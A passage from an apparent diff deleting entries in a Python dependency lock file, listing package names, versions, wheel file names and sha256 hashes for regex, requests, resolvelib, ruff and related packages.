"radixtarget-3.0.15-py3-none-any.whl", hash = "sha256:1e1d0dd3e8742ffcfc42084eb238f31f6785626b876ab63a9f28a29e97bd3bb0"}, - {file = "radixtarget-3.0.15.tar.gz", hash = "sha256:dedfad3aea1e973f261b7bc0d8936423f59ae4d082648fd496c6cdfdfa069fea"}, -] - -[[package]] -name = "regex" -version = "2026.1.15" -description = "Alternative regular expression module, to replace re." -optional = false -python-versions = ">=3.9" -groups = ["main"] -files = [ - {file = "regex-2026.1.15-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:4e3dd93c8f9abe8aa4b6c652016da9a3afa190df5ad822907efe6b206c09896e"}, - {file = "regex-2026.1.15-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:97499ff7862e868b1977107873dd1a06e151467129159a6ffd07b66706ba3a9f"}, - {file = "regex-2026.1.15-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:0bda75ebcac38d884240914c6c43d8ab5fb82e74cde6da94b43b17c411aa4c2b"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7dcc02368585334f5bc81fc73a2a6a0bbade60e7d83da21cead622faf408f32c"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:693b465171707bbe882a7a05de5e866f33c76aa449750bee94a8d90463533cc9"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b0d190e6f013ea938623a58706d1469a62103fb2a241ce2873a9906e0386582c"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5ff818702440a5878a81886f127b80127f5d50563753a28211482867f8318106"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f052d1be37ef35a54e394de66136e30fa1191fab64f71fc06ac7bc98c9a84618"}, - {file = "regex-2026.1.15-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6bfc31a37fd1592f0c4fc4bfc674b5c42e52efe45b4b7a6a14f334cca4bcebe4"}, - {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3d6ce5ae80066b319ae3bc62fd55a557c9491baa5efd0d355f0de08c4ba54e79"}, - {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:1704d204bd42b6bb80167df0e4554f35c255b579ba99616def38f69e14a5ccb9"}, - {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:e3174a5ed4171570dc8318afada56373aa9289eb6dc0d96cceb48e7358b0e220"}, - {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:87adf5bd6d72e3e17c9cb59ac4096b1faaf84b7eb3037a5ffa61c4b4370f0f13"}, - {file = "regex-2026.1.15-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:e85dc94595f4d766bd7d872a9de5ede1ca8d3063f3bdf1e2c725f5eb411159e3"}, - {file = "regex-2026.1.15-cp310-cp310-win32.whl", hash = "sha256:21ca32c28c30d5d65fc9886ff576fc9b59bbca08933e844fa2363e530f4c8218"}, - {file = "regex-2026.1.15-cp310-cp310-win_amd64.whl", hash = "sha256:3038a62fc7d6e5547b8915a3d927a0fbeef84cdbe0b1deb8c99bbd4a8961b52a"}, - {file = "regex-2026.1.15-cp310-cp310-win_arm64.whl", hash = "sha256:505831646c945e3e63552cc1b1b9b514f0e93232972a2d5bedbcc32f15bc82e3"}, - {file = "regex-2026.1.15-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:1ae6020fb311f68d753b7efa9d4b9a5d47a5d6466ea0d5e3b5a471a960ea6e4a"}, - {file = "regex-2026.1.15-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:eddf73f41225942c1f994914742afa53dc0d01a6e20fe14b878a1b1edc74151f"}, - {file = "regex-2026.1.15-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e8cd52557603f5c66a548f69421310886b28b7066853089e1a71ee710e1cdc1"}, - {file = "regex-2026.1.15-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5170907244b14303edc5978f522f16c974f32d3aa92109fabc2af52411c9433b"}, - {file = "regex-2026.1.15-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:2748c1ec0663580b4510bd89941a31560b4b439a0b428b49472a3d9944d11cd8"}, - {file = "regex-2026.1.15-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:2f2775843ca49360508d080eaa87f94fa248e2c946bbcd963bb3aae14f333413"}, - {file = "regex-2026.1.15-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d9ea2604370efc9a174c1b5dcc81784fb040044232150f7f33756049edfc9026"}, - {file = "regex-2026.1.15-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0dcd31594264029b57bf16f37fd7248a70b3b764ed9e0839a8f271b2d22c0785"}, - {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:c08c1f3e34338256732bd6938747daa3c0d5b251e04b6e43b5813e94d503076e"}, - {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:e43a55f378df1e7a4fa3547c88d9a5a9b7113f653a66821bcea4718fe6c58763"}, - {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:f82110ab962a541737bd0ce87978d4c658f06e7591ba899192e2712a517badbb"}, - {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:27618391db7bdaf87ac6c92b31e8f0dfb83a9de0075855152b720140bda177a2"}, - {file = "regex-2026.1.15-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:bfb0d6be01fbae8d6655c8ca21b3b72458606c4aec9bbc932db758d47aba6db1"}, - {file = "regex-2026.1.15-cp311-cp311-win32.whl", hash = "sha256:b10e42a6de0e32559a92f2f8dc908478cc0fa02838d7dbe764c44dca3fa13569"}, - {file = "regex-2026.1.15-cp311-cp311-win_amd64.whl", hash = "sha256:e9bf3f0bbdb56633c07d7116ae60a576f846efdd86a8848f8d62b749e1209ca7"}, - {file = "regex-2026.1.15-cp311-cp311-win_arm64.whl", hash = "sha256:41aef6f953283291c4e4e6850607bd71502be67779586a61472beacb315c97ec"}, - {file = "regex-2026.1.15-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:4c8fcc5793dde01641a35905d6731ee1548f02b956815f8f1cab89e515a5bdf1"}, - {file = "regex-2026.1.15-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:bfd876041a956e6a90ad7cdb3f6a630c07d491280bfeed4544053cd434901681"}, - {file = "regex-2026.1.15-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:9250d087bc92b7d4899ccd5539a1b2334e44eee85d848c4c1aef8e221d3f8c8f"}, - {file = "regex-2026.1.15-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:c8a154cf6537ebbc110e24dabe53095e714245c272da9c1be05734bdad4a61aa"}, - {file = "regex-2026.1.15-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8050ba2e3ea1d8731a549e83c18d2f0999fbc99a5f6bd06b4c91449f55291804"}, - {file = "regex-2026.1.15-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf065240704cb8951cc04972cf107063917022511273e0969bdb34fc173456c"}, - {file = "regex-2026.1.15-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c32bef3e7aeee75746748643667668ef941d28b003bfc89994ecf09a10f7a1b5"}, - {file = "regex-2026.1.15-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d5eaa4a4c5b1906bd0d2508d68927f15b81821f85092e06f1a34a4254b0e1af3"}, - {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:86c1077a3cc60d453d4084d5b9649065f3bf1184e22992bd322e1f081d3117fb"}, - {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:2b091aefc05c78d286657cd4db95f2e6313375ff65dcf085e42e4c04d9c8d410"}, - {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:57e7d17f59f9ebfa9667e6e5a1c0127b96b87cb9cede8335482451ed00788ba4"}, - {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:c6c4dcdfff2c08509faa15d36ba7e5ef5fcfab25f1e8f85a0c8f45bc3a30725d"}, - {file = "regex-2026.1.15-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:cf8ff04c642716a7f2048713ddc6278c5fd41faa3b9cab12607c7abecd012c22"}, - {file = "regex-2026.1.15-cp312-cp312-win32.whl", hash = "sha256:82345326b1d8d56afbe41d881fdf62f1926d7264b2fc1537f99ae5da9aad7913"}, - {file = "regex-2026.1.15-cp312-cp312-win_amd64.whl", hash = "sha256:4def140aa6156bc64ee9912383d4038f3fdd18fee03a6f222abd4de6357ce42a"}, - {file = "regex-2026.1.15-cp312-cp312-win_arm64.whl", hash = "sha256:c6c565d9a6e1a8d783c1948937ffc377dd5771e83bd56de8317c450a954d2056"}, - {file = "regex-2026.1.15-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e69d0deeb977ffe7ed3d2e4439360089f9c3f217ada608f0f88ebd67afb6385e"}, - {file = "regex-2026.1.15-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:3601ffb5375de85a16f407854d11cca8fe3f5febbe3ac78fb2866bb220c74d10"}, - {file = "regex-2026.1.15-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4c5ef43b5c2d4114eb8ea424bb8c9cec01d5d17f242af88b2448f5ee81caadbc"}, - {file = "regex-2026.1.15-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:968c14d4f03e10b2fd960f1d5168c1f0ac969381d3c1fcc973bc45fb06346599"}, - {file = "regex-2026.1.15-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:56a5595d0f892f214609c9f76b41b7428bed439d98dc961efafdd1354d42baae"}, - {file = "regex-2026.1.15-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:0bf650f26087363434c4e560011f8e4e738f6f3e029b85d4904c50135b86cfa5"}, - {file = "regex-2026.1.15-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18388a62989c72ac24de75f1449d0fb0b04dfccd0a1a7c1c43af5eb503d890f6"}, - {file = "regex-2026.1.15-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6d220a2517f5893f55daac983bfa9fe998a7dbcaee4f5d27a88500f8b7873788"}, - {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c9c08c2fbc6120e70abff5d7f28ffb4d969e14294fb2143b4b5c7d20e46d1714"}, - {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:7ef7d5d4bd49ec7364315167a4134a015f61e8266c6d446fc116a9ac4456e10d"}, - {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:6e42844ad64194fa08d5ccb75fe6a459b9b08e6d7296bd704460168d58a388f3"}, - {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:cfecdaa4b19f9ca534746eb3b55a5195d5c95b88cac32a205e981ec0a22b7d31"}, - {file = "regex-2026.1.15-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:08df9722d9b87834a3d701f3fca570b2be115654dbfd30179f30ab2f39d606d3"}, - {file = "regex-2026.1.15-cp313-cp313-win32.whl", hash = "sha256:d426616dae0967ca225ab12c22274eb816558f2f99ccb4a1d52ca92e8baf180f"}, - {file = "regex-2026.1.15-cp313-cp313-win_amd64.whl", hash = "sha256:febd38857b09867d3ed3f4f1af7d241c5c50362e25ef43034995b77a50df494e"}, - {file = "regex-2026.1.15-cp313-cp313-win_arm64.whl", hash = "sha256:8e32f7896f83774f91499d239e24cebfadbc07639c1494bb7213983842348337"}, - {file = "regex-2026.1.15-cp313-cp313t-macosx_10_13_universal2.whl", hash = "sha256:ec94c04149b6a7b8120f9f44565722c7ae31b7a6d2275569d2eefa76b83da3be"}, - {file = "regex-2026.1.15-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:40c86d8046915bb9aeb15d3f3f15b6fd500b8ea4485b30e1bbc799dab3fe29f8"}, - {file = "regex-2026.1.15-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:726ea4e727aba21643205edad8f2187ec682d3305d790f73b7a51c7587b64bdd"}, - {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1cb740d044aff31898804e7bf1181cc72c03d11dfd19932b9911ffc19a79070a"}, - {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:05d75a668e9ea16f832390d22131fe1e8acc8389a694c8febc3e340b0f810b93"}, - {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:d991483606f3dbec93287b9f35596f41aa2e92b7c2ebbb935b63f409e243c9af"}, - {file = "regex-2026.1.15-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:194312a14819d3e44628a44ed6fea6898fdbecb0550089d84c403475138d0a09"}, - {file = "regex-2026.1.15-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fe2fda4110a3d0bc163c2e0664be44657431440722c5c5315c65155cab92f9e5"}, - {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:124dc36c85d34ef2d9164da41a53c1c8c122cfb1f6e1ec377a1f27ee81deb794"}, - {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_ppc64le.whl", hash = "sha256:a1774cd1981cd212506a23a14dba7fdeaee259f5deba2df6229966d9911e767a"}, - {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:b5f7d8d2867152cdb625e72a530d2ccb48a3d199159144cbdd63870882fb6f80"}, - {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_s390x.whl", hash = "sha256:492534a0ab925d1db998defc3c302dae3616a2fc3fe2e08db1472348f096ddf2"}, - {file = "regex-2026.1.15-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:c661fc820cfb33e166bf2450d3dadbda47c8d8981898adb9b6fe24e5e582ba60"}, - {file = "regex-2026.1.15-cp313-cp313t-win32.whl", hash = "sha256:99ad739c3686085e614bf77a508e26954ff1b8f14da0e3765ff7abbf7799f952"}, - {file = "regex-2026.1.15-cp313-cp313t-win_amd64.whl", hash = "sha256:32655d17905e7ff8ba5c764c43cb124e34a9245e45b83c22e81041e1071aee10"}, - {file = "regex-2026.1.15-cp313-cp313t-win_arm64.whl", hash = "sha256:b2a13dd6a95e95a489ca242319d18fc02e07ceb28fa9ad146385194d95b3c829"}, - {file = "regex-2026.1.15-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:d920392a6b1f353f4aa54328c867fec3320fa50657e25f64abf17af054fc97ac"}, - {file = "regex-2026.1.15-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:b5a28980a926fa810dbbed059547b02783952e2efd9c636412345232ddb87ff6"}, - {file = "regex-2026.1.15-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:621f73a07595d83f28952d7bd1e91e9d1ed7625fb7af0064d3516674ec93a2a2"}, - {file = "regex-2026.1.15-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3d7d92495f47567a9b1669c51fc8d6d809821849063d168121ef801bbc213846"}, - {file = "regex-2026.1.15-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8dd16fba2758db7a3780a051f245539c4451ca20910f5a5e6ea1c08d06d4a76b"}, - {file = "regex-2026.1.15-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:1e1808471fbe44c1a63e5f577a1d5f02fe5d66031dcbdf12f093ffc1305a858e"}, - {file = "regex-2026.1.15-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0751a26ad39d4f2ade8fe16c59b2bf5cb19eb3d2cd543e709e583d559bd9efde"}, - {file = "regex-2026.1.15-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:0f0c7684c7f9ca241344ff95a1de964f257a5251968484270e91c25a755532c5"}, - {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:74f45d170a21df41508cb67165456538425185baaf686281fa210d7e729abc34"}, - {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:f1862739a1ffb50615c0fde6bae6569b5efbe08d98e59ce009f68a336f64da75"}, - {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:453078802f1b9e2b7303fb79222c054cb18e76f7bdc220f7530fdc85d319f99e"}, - {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:a30a68e89e5a218b8b23a52292924c1f4b245cb0c68d1cce9aec9bbda6e2c160"}, - {file = "regex-2026.1.15-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9479cae874c81bf610d72b85bb681a94c95722c127b55445285fb0e2c82db8e1"}, - {file = "regex-2026.1.15-cp314-cp314-win32.whl", hash = "sha256:d639a750223132afbfb8f429c60d9d318aeba03281a5f1ab49f877456448dcf1"}, - {file = "regex-2026.1.15-cp314-cp314-win_amd64.whl", hash = "sha256:4161d87f85fa831e31469bfd82c186923070fc970b9de75339b68f0c75b51903"}, - {file = "regex-2026.1.15-cp314-cp314-win_arm64.whl", hash = "sha256:91c5036ebb62663a6b3999bdd2e559fd8456d17e2b485bf509784cd31a8b1705"}, - {file = "regex-2026.1.15-cp314-cp314t-macosx_10_13_universal2.whl", hash = "sha256:ee6854c9000a10938c79238de2379bea30c82e4925a371711af45387df35cab8"}, - {file = "regex-2026.1.15-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:2c2b80399a422348ce5de4fe40c418d6299a0fa2803dd61dc0b1a2f28e280fcf"}, - {file = "regex-2026.1.15-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:dca3582bca82596609959ac39e12b7dad98385b4fefccb1151b937383cec547d"}, - {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ef71d476caa6692eea743ae5ea23cde3260677f70122c4d258ca952e5c2d4e84"}, - {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c243da3436354f4af6c3058a3f81a97d47ea52c9bd874b52fd30274853a1d5df"}, - {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:8355ad842a7c7e9e5e55653eade3b7d1885ba86f124dd8ab1f722f9be6627434"}, - {file = "regex-2026.1.15-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f192a831d9575271a22d804ff1a5355355723f94f31d9eef25f0d45a152fdc1a"}, - {file = "regex-2026.1.15-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:166551807ec20d47ceaeec380081f843e88c8949780cd42c40f18d16168bed10"}, - {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:f9ca1cbdc0fbfe5e6e6f8221ef2309988db5bcede52443aeaee9a4ad555e0dac"}, - {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:b30bcbd1e1221783c721483953d9e4f3ab9c5d165aa709693d3f3946747b1aea"}, - {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:2a8d7b50c34578d0d3bf7ad58cde9652b7d683691876f83aedc002862a35dc5e"}, - {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:9d787e3310c6a6425eb346be4ff2ccf6eece63017916fd77fe8328c57be83521"}, - {file = "regex-2026.1.15-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:619843841e220adca114118533a574a9cd183ed8a28b85627d2844c500a2b0db"}, - {file = "regex-2026.1.15-cp314-cp314t-win32.whl", hash = "sha256:e90b8db97f6f2c97eb045b51a6b2c5ed69cedd8392459e0642d4199b94fabd7e"}, - {file = "regex-2026.1.15-cp314-cp314t-win_amd64.whl", hash = "sha256:5ef19071f4ac9f0834793af85bd04a920b4407715624e40cb7a0631a11137cdf"}, - {file = "regex-2026.1.15-cp314-cp314t-win_arm64.whl", hash = "sha256:ca89c5e596fc05b015f27561b3793dc2fa0917ea0d7507eebb448efd35274a70"}, - {file = "regex-2026.1.15-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:55b4ea996a8e4458dd7b584a2f89863b1655dd3d17b88b46cbb9becc495a0ec5"}, - {file = "regex-2026.1.15-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7e1e28be779884189cdd57735e997f282b64fd7ccf6e2eef3e16e57d7a34a815"}, - {file = "regex-2026.1.15-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:0057de9eaef45783ff69fa94ae9f0fd906d629d0bd4c3217048f46d1daa32e9b"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc7cd0b2be0f0269283a45c0d8b2c35e149d1319dcb4a43c9c3689fa935c1ee6"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:8db052bbd981e1666f09e957f3790ed74080c2229007c1dd67afdbf0b469c48b"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:343db82cb3712c31ddf720f097ef17c11dab2f67f7a3e7be976c4f82eba4e6df"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:55e9d0118d97794367309635df398bdfd7c33b93e2fdfa0b239661cd74b4c14e"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:008b185f235acd1e53787333e5690082e4f156c44c87d894f880056089e9bc7c"}, - {file = "regex-2026.1.15-cp39-cp39-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fd65af65e2aaf9474e468f9e571bd7b189e1df3a61caa59dcbabd0000e4ea839"}, - {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:f42e68301ff4afee63e365a5fc302b81bb8ba31af625a671d7acb19d10168a8c"}, - {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:f7792f27d3ee6e0244ea4697d92b825f9a329ab5230a78c1a68bd274e64b5077"}, - {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_riscv64.whl", hash = "sha256:dbaf3c3c37ef190439981648ccbf0c02ed99ae066087dd117fcb616d80b010a4"}, - {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:adc97a9077c2696501443d8ad3fa1b4fc6d131fc8fd7dfefd1a723f89071cf0a"}, - {file = "regex-2026.1.15-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:069f56a7bf71d286a6ff932a9e6fb878f151c998ebb2519a9f6d1cee4bffdba3"}, - {file = "regex-2026.1.15-cp39-cp39-win32.whl", hash = "sha256:ea4e6b3566127fda5e007e90a8fd5a4169f0cf0619506ed426db647f19c8454a"}, - {file = "regex-2026.1.15-cp39-cp39-win_amd64.whl", hash = "sha256:cda1ed70d2b264952e88adaa52eea653a33a1b98ac907ae2f86508eb44f65cdc"}, - {file = "regex-2026.1.15-cp39-cp39-win_arm64.whl", hash = "sha256:b325d4714c3c48277bfea1accd94e193ad6ed42b4bad79ad64f3b8f8a31260a5"}, - {file = "regex-2026.1.15.tar.gz", hash = "sha256:164759aa25575cbc0651bef59a0b18353e54300d79ace8084c818ad8ac72b7d5"}, -] - -[[package]] -name = "requests" -version = "2.32.5" -description = "Python HTTP for Humans." -optional = false -python-versions = ">=3.9" -groups = ["main", "docs"] -files = [ - {file = "requests-2.32.5-py3-none-any.whl", hash = "sha256:2462f94637a34fd532264295e186976db0f5d453d1cdd31473c85a6a161affb6"}, - {file = "requests-2.32.5.tar.gz", hash = "sha256:dbba0bac56e100853db0ea71b82b4dfd5fe2bf6d3754a8893c3af500cec7d7cf"}, -] - -[package.dependencies] -certifi = ">=2017.4.17" -charset_normalizer = ">=2,<4" -idna = ">=2.5,<4" -urllib3 = ">=1.21.1,<3" - -[package.extras] -socks = ["PySocks (>=1.5.6,!=1.5.7)"] -use-chardet-on-py3 = ["chardet (>=3.0.2,<6)"] - -[[package]] -name = "requests-file" -version = "3.0.1" -description = "File transport adapter for Requests" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "requests_file-3.0.1-py2.py3-none-any.whl", hash = "sha256:d0f5eb94353986d998f80ac63c7f146a307728be051d4d1cd390dbdb59c10fa2"}, - {file = "requests_file-3.0.1.tar.gz", hash = "sha256:f14243d7796c588f3521bd423c5dea2ee4cc730e54a3cac9574d78aca1272576"}, -] - -[package.dependencies] -requests = ">=1.0.0" - -[[package]] -name = "resolvelib" -version = "1.0.1" -description = "Resolve abstract dependencies into concrete ones" -optional = false -python-versions = "*" -groups = ["main"] -files = [ - {file = "resolvelib-1.0.1-py2.py3-none-any.whl", hash = "sha256:d2da45d1a8dfee81bdd591647783e340ef3bcb104b54c383f70d422ef5cc7dbf"}, - {file = "resolvelib-1.0.1.tar.gz", hash = "sha256:04ce76cbd63fded2078ce224785da6ecd42b9564b1390793f64ddecbe997b309"}, -] - -[package.extras] -examples = ["html5lib", "packaging", "pygraphviz", "requests"] -lint = ["black", "flake8", "isort", "mypy", "types-requests"] -release = ["build", "towncrier", "twine"] -test = ["commentjson", "packaging", "pytest"] - -[[package]] -name = "ruff" -version = "0.15.2" -description = "An extremely fast Python linter and code formatter, written in Rust." -optional = false -python-versions = ">=3.7" -groups = ["dev"] -files = [ - {file = "ruff-0.15.2-py3-none-linux_armv6l.whl", hash = "sha256:120691a6fdae2f16d65435648160f5b81a9625288f75544dc40637436b5d3c0d"}, - {file = "ruff-0.15.2-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:a89056d831256099658b6bba4037ac6dd06f49d194199215befe2bb10457ea5e"}, - {file = "ruff-0.15.2-py3-none-macosx_11_0_arm64.whl", hash = "sha256:e36dee3a64be0ebd23c86ffa3aa3fd3ac9a712ff295e192243f814a830b6bd87"}, - {file = "ruff-0.15.2-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a9fb47b6d9764677f8c0a193c0943ce9a05d6763523f132325af8a858eadc2b9"}, - {file = "ruff-0.15.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f376990f9d0d6442ea9014b19621d8f2aaf2b8e39fdbfc79220b7f0c596c9b80"}, - {file = "ruff-0.15.2-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:2dcc987551952d73cbf5c88d9fdee815618d497e4df86cd4c4824cc59d5dd75f"}, - {file = "ruff-0.15.2-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:42a47fd785cbe8c01b9ff45031af875d101b040ad8f4de7bbb716487c74c9a77"}, - {file = "ruff-0.15.2-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:cbe9f49354866e575b4c6943856989f966421870e85cd2ac94dccb0a9dcb2fea"}, - {file = "ruff-0.15.2-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b7a672c82b5f9887576087d97be5ce439f04bbaf548ee987b92d3a7dede41d3a"}, - {file = 